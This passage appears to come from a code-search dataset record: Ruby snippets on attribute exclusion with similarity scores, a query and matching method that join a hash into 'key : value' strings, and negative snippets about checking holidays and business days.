skip_method(a,b,c)\nend", "def only\n attributes.fetch(:only)\n end", "def skip(num)\n @skip = num\n self\n end", "def except(*skips)\n result = self.class.new(@klass, table)\n result.default_scoped = default_scoped\n\n ((Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS) - skips).each do |method|\n result.send(:\"#{method}_values=\", send(:\"#{method}_values\"))\n end\n\n (Relation::SINGLE_VALUE_METHODS - skips).each do |method|\n result.send(:\"#{method}_value=\", send(:\"#{method}_value\"))\n end\n\n # Apply scope extension modules\n result.send(:apply_modules, extensions)\n\n result\n end", "def attributes\n restricted = defined?(self.class::NON_ATTRIBUTE_PARAMS) ? self.class::NON_ATTRIBUTE_PARAMS : []\n (self.class::PARAM_DEFAULTS.keys - restricted).index_with { |attr| send(attr) }.with_indifferent_access\n end", "def skip\n end", "def skip\n end", "def all_annotations_excluding_attributes(attribs, include_values = false)\n return [] if attribs.blank?\n\n obj_type = self.class.base_class.name\n\n options = {\n joins: :annotation_attribute,\n conditions: ['`annotations`.`annotatable_type` = ? AND `annotations`.`annotatable_id` = ? AND `annotation_attributes`.`name` NOT IN (?)',\n obj_type,\n id,\n attribs],\n order: '`annotations`.`updated_at` DESC'\n }\n\n options[:include] = [:value] if include_values\n\n fetch_annotations(options)\n end", "def erase(attr)\n erased << attr.to_s\n end", "def uncopied_attributes\n base_uncopied_attributes | [:labor_benefit_rate_category_code, :major_reporting_category_code]\n end", "def delete_attr!(key)\n copy_on_write if @attrs.shared\n key = key.intern \n old_attrs = @attrs\n @attrs = AttrArray.new\n @attrs_hash = {}\n old_attrs.each do |a|\n put_attr(a) if a.key_symbol != key\n end\n end", "def required_attribute_names\n removed_attributes.each_with_object([]) do |attribute, names|\n names << attribute.name if attribute.required?\n end\n end", "def hide_json_attributes(*attributes)\n\t\t\t@hide_json_attributes = []\n\t\t\tattributes.collect do |a|\n\t\t\t\t@hide_json_attributes.push(a.to_sym)\n\t\t\tend\n\t\tend", "def decrypt_attrs\n self.class.encrypted_attrs.each do |attr|\n next unless (value = send(attr))\n\n send(\"#{attr}=\", decrypt(value)) if value.encoding.to_s.eql?('ASCII-8BIT')\n end\n end", "def remove_readonly_attributes(attributes)\n unless self.class.readonly_attributes.nil?\n attributes.delete_if { |key, value| self.class.readonly_attributes.include?(key.gsub(/\\(.+/,\"\")) }\n else\n attributes\n end\n end", "def skips_around\n @skips_around\n end", "def attribs\r\n @attribs.dup\r\n end", "def ignore_non_read_or_write_attributes\n ['title', 'email', 'expertise_list', 'tool_list', 'mbox_sha1sum']\n end", "def required\n { must_exclude_attrs: %i[] }\n end", "def defaulted_attrs\n given_attrs.reject {|attr| send(\"given_#{attr}?\")}\n end", "def skip!\n @skip ||= true\n end", "def attributes(*attrs)\n if attrs.size > 0\n attrs.each{|attr| attribute attr}\n end\n @attributes ||= []\n end", "def skips=(_arg0); end", "def skip(n)\n end", "def extract(*attrs)\n @to_extract = attrs\n attr_reader *attrs\n end", "def skips; end", "def exclude=(_arg0); end" ]
[ "0.6426769", "0.61645734", "0.6150883", "0.60867596", "0.6056458", "0.6052449", "0.599769", "0.599769", "0.59952945", "0.5987856", "0.595818", "0.5899168", "0.5884298", "0.58841485", "0.5859921", "0.58376354", "0.57960564", "0.57952917", "0.57867104", "0.5779215", "0.5773433", "0.57685065", "0.574442", "0.57420737", "0.56947964", "0.56551", "0.5630079", "0.56095123", "0.56059355", "0.56047326", "0.56030583", "0.56003064", "0.55964375", "0.5593165", "0.5580909", "0.55637676", "0.556133", "0.55326486", "0.55299395", "0.55102056", "0.5500658", "0.5500093", "0.5494562", "0.54619914", "0.54619914", "0.54619914", "0.54619914", "0.5442194", "0.5421282", "0.5420561", "0.54078966", "0.54071033", "0.5391902", "0.53649724", "0.5353692", "0.5347078", "0.534005", "0.5337458", "0.5334074", "0.531075", "0.530426", "0.5285449", "0.5284904", "0.5282751", "0.5276223", "0.52745014", "0.52641654", "0.5256672", "0.52461237", "0.52413094", "0.523826", "0.5229334", "0.5224739", "0.5223448", "0.5216858", "0.5214422", "0.5191178", "0.51864135", "0.51850224", "0.51850224", "0.518323", "0.51764464", "0.5168522", "0.5162579", "0.5162106", "0.5144101", "0.5143469", "0.51397824", "0.5133319", "0.5126644", "0.5125275", "0.5116188", "0.5115651", "0.51051766", "0.5097615", "0.507838", "0.50768894", "0.5073838", "0.5069934", "0.50659" ]
0.774333
0
take a map of symbol => value and convert to joined list of "symbol1 : value1, symbol2 : value2, ..."
def ext_attributes(values) ext_attrib_list = [] values.each do |key, value| ext_attrib_list << "#{key.to_s} : #{value}" end result = ext_attrib_list.join(",\n") return result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_s; map { |name, val| \"#{val['name']}=#{val}\" }.join(','); end", "def comma_pair_list(hash)\n hash.inject([]) { |list, pair| list << \"#{pair.first} = #{pair.last}\" }.join(\", \")\n end", "def values_to_s\n sorted_keys.map {|key| \"#{key} => #{values[key].inspect}\"}.join(\", \")\n end", "def value_map(value)\n v = case value.class\n when Array\n value.join(',')\n when Range\n \"#{value.first}-#{value.last}\"\n when Hash\n if value.has_key?(:or)\n \"|#{value[:or].join(',')}\"\n elsif value.has_key?(:not)\n \"~#{value[:not].join(',')}\"\n end\n when TrueClass\n \"Y\"\n when FalseClass\n \"N\"\n else\n value\n end\n v\n end", "def map_values(values)\n values = values.split(/,\\s*/) if values.is_a?(String)\n values.map do |value|\n yield value\n end.join(\",\") \n end", "def to_a\n map { |key,val| [ UniMap.key_to_symbol( key ), val ] }\n end", "def convert map\n hsh = Hash.new\n\n map.each { |key, value| hsh[to_symbol(key)] = to_symbol(value)}\n\n return hsh\nend", "def format_hash_values(hash)\n hash.each_with_object({}) do |(outer_key, outer_values), outer_hash|\n outer_hash[outer_key] = outer_values.each_with_object({}) do |(k, v), h|\n h[k] = v.to_a.map(&:to_s)\n end\n end\n end", "def hash_flatten prefix, value\n if value.is_a? Hash\n value.flat_map do |k, v|\n key = prefix.empty? ? k : [prefix, k].join('.')\n hash_flatten(key, v)\n end\n else\n [[prefix, value]]\n end\nend", "def solution2(pairs)\r\n # TODO: complete\r\n pairs.map{|k,v| \"#{k} = #{v}\"}.join(',')\r\nend", "def to_safe_hashes(hashes)\n hashes.map do |item|\n item.transform_keys(&:to_s)\n .transform_values do |v|\n if v.is_a? Symbol\n v.to_s\n else\n v\n end\n end\n end\n end", "def encode_list(value)\n encode_string(value.map { |s| encode_string(s) }.join)\n end", "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "def process_facets(values)\n map_values(values) do |value|\n k, v = split_value(value, ':')\n Array(v).map {|v| \"#{k}:#{v}\"}.join(',')\n end \n end", "def value_map\n value_pairs = tags.map { |t| [t.value, t.character] }\n mapping = new_hash_of_arrays\n value_pairs.each do |value, character|\n mapping[value] << character\n end\n mapping.map { |value, characters|\n [value, characters.sort_by { |c| c.name }]\n }.sort\n end", "def to_s\n \"(#{@values.map(&:to_s).join(', ')})\"\n end", "def parse_out(key, value)\n @formatted_out.push(([key]+value.values))\n end", "def convert_array_values(hash)\n result = hash.map do |key, value|\n if value.is_a? Array\n [key, value.join('|')]\n else\n [key, value]\n end\n end\n\n Hash[result]\n end", "def collect_values(name_hash)\n name_hash.collect do |key, value|\n value \n end\nend", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end", "def keys_to_symbols(hash)\n hash.map do |k, v|\n [\n k.to_sym,\n case v\n when Hash\n keys_to_symbols(v)\n when Array\n v.map { |x| x.is_a?(Hash) ? keys_to_symbols(x) : x }\n else\n v\n end\n ]\n end.to_h\nend", "def transform_keys_to_symbols(value)\n if value.is_a?(Array)\n array = value.map{|x| x.is_a?(Hash) || x.is_a?(Array) ? transform_keys_to_symbols(x) : x}\n return array\n end\n if value.is_a?(Hash)\n hash = value.inject({}){|memo,(k,v)| memo[k.to_sym] = transform_keys_to_symbols(v); memo}\n return hash\n end\n return value\n end", "def dot_key_values(hash)\n hash.map{|k,v| \n \"#{k}=\\\"#{ v.to_s.gsub(/\"/, \"''\" ).gsub(\"\\n\",' ') }\\\"\" \n }.join(', ') rescue \"boh1235: #{$!}\"\n end", "def perform(key, value)\n result = []\n key.each_with_index do |k, v|\n result << {k => (value)[v]} #On push dans l'array une portion de hash composer de: key = symbol_text et value = price_text[v] \n end\n puts result\n return result\nend", "def to_str_form(hash)\n hash.inject({}) do |h, (k, v)|\n h.merge((k.is_a?(Symbol) ? k.to_s : k) => (v.is_a?(Symbol) ? v.to_s : v))\n end\n end", "def values_for(symbol,test_values)\n symbols << symbol\n values << test_values\n end", "def format_value_to_list(value, is_const)\n result = value.map do |element|\n format_value(element, is_const)\n end.join(', ')\n\n \"[#{result}]\"\n end", "def get_city_names(somehash)\n list=\"\"\n somehash.each do |key, value|\n list.concat(key)\n list.concat(\" \")\n end\n puts \"#{list}\"\nend", "def joined_names\n values.map(&:name).join(\", \").gsub(/, ([^,]*)$/, ' and \\1')\n end", "def annotated_values_list(values_to_split=self.values)\n values_to_split.split(VALUES_SPLITTER).map {|e|\n k = e.gsub(/\\((.*)?\\)/, '')\n $1 ? [$1, k] : [e,e]\n }\n end", "def stringify_values\n clean_options={}\n each do |key,value|\n if value.is_a? Symbol\n clean_options[key]=value.to_s\n elsif value.is_a? Array\n ary=value.collect {|v| if v.is_a? Symbol then v.to_s else v end}\n clean_options[key]=ary\n else\n clean_options[key]=value\n end\n end\n clean_options\n end", "def header_pairs headers\n header_pairs = []\n headers.each do |header|\n header_pairs.append \"#{header[:name]}=#{header[:value]}\"\n end\n header_pairs.join \",\"\nend", "def join_repeats(hash)\n\t\t\t\thash.each do |key,val|\n\t\t\t\t\tif val.kind_of? Array\n\t\t\t\t\t\thash[key] = val.join('\\x1D')\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\thash\n\t\t\tend", "def hash_to_options(hash)\n hash.to_a.inject([]) {|r,v| r << \"#{v[0]}: #{v[1]}\" }.join(',')\nend", "def bracketed_list(values)\n temp=\"\"\n temp += \"[\"\n values.each {|val| temp += \"#{val.to_s}, \"}\n temp += \"]\"\n return temp\nend", "def convert_to_symbols(collection, keys: false, values: false)\n if collection.is_a?(Hash)\n new_collection = {}\n collection.each do |key, value|\n key = db_symbol(key) if keys && key.is_a?(Integer)\n if value.is_a?(Enumerable)\n value = convert_to_symbols(value, keys: keys, values: values)\n elsif values && value.is_a?(Integer)\n value = db_symbol(value)\n end\n new_collection[key] = value\n end\n collection = new_collection\n else\n collection.each_with_index do |value, index|\n if value.is_a?(Enumerable)\n collection[index] = convert_to_symbols(value, keys: keys, values: values)\n elsif value.is_a?(Integer)\n collection[index] = db_symbol(value)\n end\n end\n end\n collection\n end", "def convert_to_symbols(collection, keys: false, values: false)\n if collection.is_a?(Hash)\n new_collection = {}\n collection.each do |key, value|\n key = db_symbol(key) if keys && key.is_a?(Integer)\n if value.is_a?(Enumerable)\n value = convert_to_symbols(value, keys: keys, values: values)\n elsif values && value.is_a?(Integer)\n value = db_symbol(value)\n end\n new_collection[key] = value\n end\n collection = new_collection\n else\n collection.each_with_index do |value, index|\n if value.is_a?(Enumerable)\n collection[index] = convert_to_symbols(value, keys: keys, values: values)\n elsif value.is_a?(Integer)\n collection[index] = db_symbol(value)\n end\n end\n end\n collection\n end", "def wrap_in_name_values_hash(name_hash_array)\n name_values_hash_array = []\n name_hash_array.each do |name_hash| \n name_values_hash_array << { name: type_name_from_slot(name_hash), values: [name_hash] } \n end\n name_values_hash_array\n end", "def stringify_values(hash)\n transform_hash(hash) do |inner_hash, key, value|\n if value.is_a?(Hash)\n inner_hash[key] = value\n elsif value.is_a?(Array)\n inner_hash[key] = stringify(value)\n else\n inner_hash[key] = value.to_s\n end\n end\n end", "def hash_to_options(options)\n c = ''\n options.each do |key, option|\n c << \"#{key} : \"\n c << case\n when option.to_s.match(/function/i) then option\n when option.class == String then \"\\\"#{option}\\\"\"\n else option.to_s\n end\n c << \",\\n\"\n end\n c\nend", "def to_s\n return '['+self.values.join(',')+']'\n end", "def flatmap(h, e, prefix = '')\n e.each do |k,v|\n if v.is_a?(Hash)\n flatmap(h, v, prefix+k+\"_\")\n else\n if not v.is_a? Array\n if v.is_a? String\n v = v.split.join(' ')\n v = v[0,10000] + ' ...' if v.size > 10000\n end\n\n h[prefix+k] = v\n end\n end\n end\n h\nend", "def remap_value_names(map, values)\n map.each do |old_name, new_name|\n values[new_name] = values.delete(old_name)\n end\n end", "def simplify_key_value_list(elements)\n # remove everything form right to left till the double unerline\n elements.each do |element|\n element.keyValueList.transform_keys! do |key|\n index = key.index('__')\n if !index.nil?\n key.slice(index + 2, key.length)\n else\n key\n end\n end\n end\n end", "def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{#{pairs.join(\", \")}}\"\n end", "def normalized_list(values, **opt)\n opt[:sanitize] = true unless opt.key?(:sanitize)\n sanitize = opt[:sanitize]\n Array.wrap(values).flat_map { |value|\n case value\n when Hash\n value.map do |k, v|\n case v\n when Hash then v = hash_string(v, **opt)\n when Array then v = array_string(v, **opt)\n else v = normalized_list(v, **opt).first\n end\n \"#{k}: #{v}\" if v.present?\n end\n when Array\n array_string(value, **opt)\n else\n value = sanitized_string(value) if sanitize && value.is_a?(String)\n if opt[:inspect]\n value.inspect\n elsif opt[:quote]\n quote(value)\n else\n value.to_s\n end\n end\n }.compact_blank!\n end", "def val_processor(vals)\n return vals.join\n end", "def add_field_from_map!(result, map, field_name, key_name)\n out = []\n result.each do |record|\n record[field_name] = map[record[key_name]] if map.has_key?(record[key_name])\n end\n end", "def order_values_by_mappings(hash, column_mappings)\n column_mappings.map { |column_mapping| hash[column_name_from(column_mapping)].to_s }\n end", "def list_to_str key\n tmp = self.env_hash[key]\n tmp.is_a?(Array) ? tmp.join(',') : tmp.to_s\n end", "def transform_values\n map_to_hash { |key, value| [key, yield(value)] }\n end", "def primitive_list(value,tabs)\n s = \"\"\n s << tabs+'<ul>' << \"\\n\"\n value.each_pair do |k,v|\n s << tabs+' '+'<li>'+kv(k,v)+'</li>' << \"\\n\" if k.class == String\n end\n s << tabs+'</ul>' << \"\\n\"\n s\n end", "def parameters_as_string(hash)\n hash.keys.sort.map{|key| %{#{key}=#{hash[key]}}} * '&'\n end", "def to_s\n @hash.inject(+'') do |memo, (k, v)|\n memo << k << '=' << v << ','\n end.chop! || ''\n end", "def to_a\n [ left.to_sym, right.to_sym ]\n end", "def nested_values(attribute, hash)\n hash.inject('') do |all,(key,value)|\n attribute_with_name = \"#{attribute}-#{key.to_s.tr('_', '-')}\"\n all << if value.is_a?(Hash)\n nested_values(attribute_with_name, value)\n else\n %(#{attribute_with_name}=\"#{escape_value(value)}\" )\n end\n end\n end", "def summarize_hash hash\n hash.map do |key,v|\n \"#{key.inspect}=>#{summarize_value(v)}\"\n end.sort.join(\",\")\n end", "def map!\n @options_map.each do |k,v|\n sym = if k.is_a? Symbol\n k\n else\n @line << k if v\n sym = get_symbol(k)\n end\n\n if sym\n @vars[sym] = v\n end\n end\n end", "def output_values(raw)\n raw.map do |x|\n if x.is_a? Array\n x.map!{|s| escape(s)}\n x.join(@internal_delimiter)\n else\n escape(x)\n end\n end\n end", "def deebeefy_values\n inject({}) do |options, (k, v)|\n options[k] = v.is_a?(Symbol) ? v.to_s : (v.is_a?(Hash) || v.is_a?(Array)) ? v.to_json : v\n options\n end\n end", "def builder_values (values_container)\n values_container[:values].blank? ? \"\" : values_container[:values].join(\",\")\n end", "def to_s\n '{ ' + @values.map {|(n, v)| \"#{n}: #{v.inspect}\"}.join(', ') + ' }'\n end", "def format_array_values(hash)\n hash.each_with_object({}) { |(k, v), h| h[k] = v.to_a }\n end", "def clean_values(hash)\n hash.map {|h| {h[0] => clean_li_listsings(h[1])} }\n end", "def this_value_standard_format(code, values, lookup, format)\n return_values = []\n values.each do |v|\n expand_value = expand_value(code, v, lookup, format)\n return_values << expand_value unless expand_value.nil?\n end\n return_values.join(', ')\n end", "def to_s()\n value.map {|v| v.to_s}.join(' ')\n end", "def to_s()\n value.map {|v| v.to_s}.join(' ')\n end", "def value_to_sym(value, mapping)\n mapping.invert[value]\n end", "def extract(map)\n # clone map hash, swap keys for string\n map = Hash[map]\n map.keys.each { |k|\n map[k.to_s] = map[k]\n map.delete(k) unless k.is_a?(String)\n }\n\n groups = []\n i = 0\n while(i < length) do\n val = self[i]\n i += 1\n next unless !!map.has_key?(val)\n\n num = map[val]\n group = [val]\n 0.upto(num-1) do |j|\n group << self[i]\n i += 1\n end\n groups << group\n end\n\n groups\n end", "def array_of_values(name_hash)\n name_hash.collect do |key, value|\n value\n end\nend" ]
[ "0.6406042", "0.62712353", "0.59769785", "0.5957746", "0.5872467", "0.584431", "0.58382314", "0.5757867", "0.56499135", "0.5649562", "0.55994517", "0.55804056", "0.55741197", "0.55741197", "0.55741197", "0.55741197", "0.55741197", "0.5564144", "0.55518603", "0.55478036", "0.553174", "0.5505048", "0.5504179", "0.5492534", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54915845", "0.54831827", "0.5481007", "0.5424099", "0.53944284", "0.5388483", "0.5364856", "0.536271", "0.53607", "0.53201777", "0.52902526", "0.52871436", "0.5286972", "0.52834237", "0.52755237", "0.52677554", "0.5256318", "0.5256318", "0.5252181", "0.52506614", "0.5222907", "0.5217451", "0.52167517", "0.52116114", "0.51863027", "0.51742864", "0.5162727", "0.5161822", "0.5160192", "0.51501024", "0.51391274", "0.51375115", "0.5122222", "0.5116409", "0.5113045", "0.5112859", "0.5104272", "0.50811666", "0.50801945", "0.50771034", "0.5075641", "0.507527", "0.50699157", "0.5064758", "0.50628054", "0.5055718", "0.50552875", "0.50552875", "0.5051471", "0.5050593", "0.5047955" ]
0.0
-1
has_a_holiday? accepts a date creates an array of holidays for the module checks to see if the date is in the array
def holiday?(date) all_holidays.any? { |holiday| holiday === date } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_holiday(date, holidays)\n holidays.include?(date)\n end", "def is_a_2014_bank_holiday?(date)\n # e.g. year, month, day\n # date format: Time.local(1976, 8, 3)\n y = 2014\n # store array of bank holiday dates\n array = [Time.local(y,12,25),Time.local(y,12,26),Time.local(y,8,25),Time.local(y,5,26),Time.local(y,5,5),Time.local(y,4,21),Time.local(y,4,18),Time.local(y,1,1)]\n # check if date can be found in array\n array.each {|bank_hol_date|\n return true if bank_hol_date == date\n }\n false\n # if yes - return true\n # if no - return false\nend", "def holiday_date(date)\r\n countries.map {|c| date.holiday?(c.to_sym, :observed)}.any?\r\n end", "def public_holiday?\n HOLIDAYS.include? to_date\n end", "def holiday?\n @holiday\n end", "def is_a_2014_bank_holiday?(date)\n day = date.strftime '%-d/%-m'\n %w(1/1 18/4 21/4 5/5 26/5 25/8 25/12 26/12).include? day\nend", "def is_a_2014_bank_holiday?(date)\nend", "def is_a_2014_bank_holiday?(date)\nend", "def is_a_2014_bank_holiday?(date)\n bh_dates = %w(26/12/14\n 25/12/14\n 25/08/14\n 26/05/14\n 05/05/14\n 21/04/14\n 18/04/14\n 01/01/14)\n\n bh_dates.include?(date.strftime(\"%d/%m/%y\"))\n\nend", "def holiday?(*options)\n holidays = self.holidays(*options)\n holidays && !holidays.empty?\n end", "def holidayChecker(dates, bank_holidays)\n dates = parseDates(dates) #parse dates array\n bank_holidays = parseDates(bank_holidays) #parse bank holidays array\n corrected_schedule = []\n dates.each do |date|\n while date.wday == 6 || date.wday == 7 || bank_holidays.include?(date) #while the date is either a bank holiday OR a Saturday OR a Sunday...\n date += 1\n end\n corrected_schedule.push(date)\n end\n puts corrected_schedule\nend", "def cboe_holiday?(date, include_unscheduled_market_closures = true)\n today_is_unscheduled_closure = include_unscheduled_market_closures ? UnscheduledMarketClosures.include?(date) : false\n today_is_friday_and_saturday_is_holiday = day_of_week(date) == DayOfWeek::Friday && \n (good_friday?(date + 1) || independence_day?(date + 1) || christmas?(date + 1))\n today_is_monday_and_sunday_is_holiday = day_of_week(date) == DayOfWeek::Monday && holiday?(date - 1)\n holiday?(date) || today_is_friday_and_saturday_is_holiday || today_is_monday_and_sunday_is_holiday || today_is_unscheduled_closure\nend", "def holiday?(*options)\n holidays = self.holidays(*options)\n holidays && !holidays.empty?\n end", "def holiday?(*options)\n holidays = self.holidays(options)\n holidays && !holidays.empty?\n end", "def holidays\n @holidays ||= days.select(&:holiday?)\n end", "def public_holiday?(date)\n date = to_date(date)\n return false if weekend?(date) # weekend are never public holidays\n populate_public_holiday_collection_for_year(date.year)\n\n return true if @public_holiday_hash.has_key?(date)\n return false\n end", "def today_holiday?(issue)\n day = Date.today\n check_holiday(day, issue)\n end", "def holiday?\n\t\tself.date_of_lecture.holiday?\n\tend", "def business_day?\n !holiday?\n end", "def business_hours_on_day(date, in_time_zone)\n # puts \"in time zone #{in_time_zone}\"\n date = date.in_time_zone(in_time_zone)\n weekends = [6,7]\n if weekends.include?(date.to_date.cwday)\n return [0,0]\n end\n holidays = find_holidays_on_date(date, in_time_zone)\n if holidays.empty?\n default_business_hours\n else\n # puts \"default_business_hours: \" + default_business_hours.inspect\n start_time, end_time = default_business_hours\n effective_start = start_time\n effective_end = end_time\n holidays.each do |holiday_start, holiday_end|\n # puts \"holiday_start: #{holiday_start}\"\n # puts \"holiday_end: #{holiday_end}\"\n \n if holiday_start.to_date < date.to_date\n holiday_start = date.to_date.beginning_of_day\n end\n if holiday_end.to_date > date.to_date\n holiday_end = date.to_date.end_of_day\n end\n \n # puts \"determined holiday_start: #{holiday_start}\"\n # puts \"determined holiday_end: #{holiday_end}\" \n\n # puts \"business begins: #{date.beginning_of_day + start_time}\"\n # puts \"business ends: #{date.beginning_of_day + end_time}\"\n \n #if holiday starts before business and ends after business, return 0\n if holiday_start <= (date.beginning_of_day + start_time) && holiday_end >= (date.beginning_of_day + end_time)\n return [0,0]\n end\n #if holiday starts before business then set business day to start effectively when the holiday ends\n if holiday_start <= (date.beginning_of_day + start_time)\n # puts \"holiday starts before business then set business day to start effectively when the holiday ends\"\n # puts \"holiday_end:\" + holiday_end.inspect\n # puts \"holiday_end.beginning_of_day:\" + holiday_end.beginning_of_day.inspect\n \n seconds_for_holiday_end = seconds_from_day_start(holiday_end)\n if seconds_for_holiday_end > effective_start\n effective_start = seconds_for_holiday_end\n end\n end\n #if holiday ends after business then set business day to end effectively when the holiday start\n if holiday_end >= (date.beginning_of_day + end_time)\n # puts \"holiday ends after business then set business day to end effectively when the holiday start\"\n # puts \"holiday_start:\" + holiday_start.inspect\n # puts \"holiday_start.beginning_of_day:\" + holiday_start.beginning_of_day.inspect\n \n seconds_for_holiday_start = seconds_from_day_start(holiday_start)\n if seconds_for_holiday_start < effective_end\n effective_end = seconds_for_holiday_start\n end\n end\n end\n if effective_start > effective_end\n effective_start = effective_end\n end\n # puts \"effective start and end \" + [effective_start.to_i, effective_end.to_i].inspect\n [effective_start.to_i, effective_end.to_i]\n end\n end", "def is_a_2014_bank_holiday?(date)\n require 'open-uri'\n content = open(\"https://www.gov.uk/bank-holidays.json\").read\n formated_date = date.strftime(\"%Y-%m-%d\")\n content.include?(formated_date)\nend", "def check_holiday?\n\t\tunless self.date_of_booking.wday != 0 \n\t\t\tself.errors[:day_validation] << \"=> Booking can't be done on holidays\"\n\t\tend\n\tend", "def holidays\n ScheduleDataManager.holidays(@holiday_schedule_name)\n end", "def weekend?(date)\n date = to_date(date)\n populate_public_holiday_collection_for_year(date.year)\n @weekend.include?(date.wday)\n end", "def working_day?(date, repopulate = true)\n date = to_date(date)\n if repopulate\n populate_public_holiday_collection_for_year(date.year)\n end\n !weekend?(date) && !public_holiday?(date)\n end", "def bank_holiday?\n @test_time = @time if @test_time.nil?\n @test_time.bank_holiday?\n end", "def school_holiday?(region) \n SchoolHolidays.on?(self, region)\n end", "def weekend_and_holiday(day)\n holiday = Holidays.on(day, :federal_reserve, :observed).any?\n weekend = day.saturday? || day.sunday?\n [weekend, holiday]\n end", "def holiday_cannot_be_on_weekends\n if (self.date.strftime(\"%u\") == \"6\" or self.date.strftime(\"%u\") == \"7\")\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def is_on_holiday?(at=Time.now)\n return false if self.notify_when_on_holiday\n\n return CalendarInterface.is_user_on_holiday?(self.username, at)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.cwday == 6 or self.date.cwday == 7)\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def holidays(range=(Date.today..Date.today.next_month))\n output = []\n @tokens.each do |token|\n if ALL_HOLIDAYS.include?(token)\n return HOLIDAYS.values.map do |dates|\n dates.call(range)\n end.flatten.uniq\n end\n HOLIDAYS.each_pair do |labels,dates|\n if labels.include?(token)\n output.concat(dates.call(range))\n end\n end\n end\n output\n end", "def delete_date(date)\n if self.dates_with_no_classes.delete(date) == nil\n errors.add(:dates_with_no_classes, 'Could not find date in holiday array.')\n return false\n\n else\n dates_array = date.split(\"-\")\n start_range = dates_array[0]\n end_range = dates_array[dates_array.length-1]\n date_start = USDateParse(start_range)\n date_end = USDateParse(end_range)\n curr_date = date_start\n while curr_date <= date_end do\n self.individual_dates_with_no_classes.delete(curr_date)\n curr_date += 1\n end\n end\n if not self.save; return false; end\n return true\n end", "def getHolidays(locationId, from, to)\n\t\tholidays = Array.new\n\t\tunless isScheduleOnWeekEnd\n\t\t\tholidays = WkPublicHoliday.where(:location_id => locationId, :holiday_date => from .. to).pluck(:holiday_date)\n\t\tend\n\t\tholidays\n\tend", "def includes?(date)\n @days.include?(date.day)\n end", "def notify_when_on_holiday=(arg)\n @notify_when_on_holiday = (arg ? true : false)\n end", "def working_day?(date_time)\n raise \"Parameter must be a date_time object: id #{date_time.class}\" unless date_time.is_a?(DateTime)\n return false if @calendar.public_holiday?(date_time)\n work_day = @days[to_day_num(date_time)]\n return false unless work_day.working_day?\n return true\n end", "def active?(date)\n case [weekdays.empty?, holidays.empty?]\n when [true, true]\n return true\n when [false, true]\n return weekdays.include?(DAY[date.wday])\n when 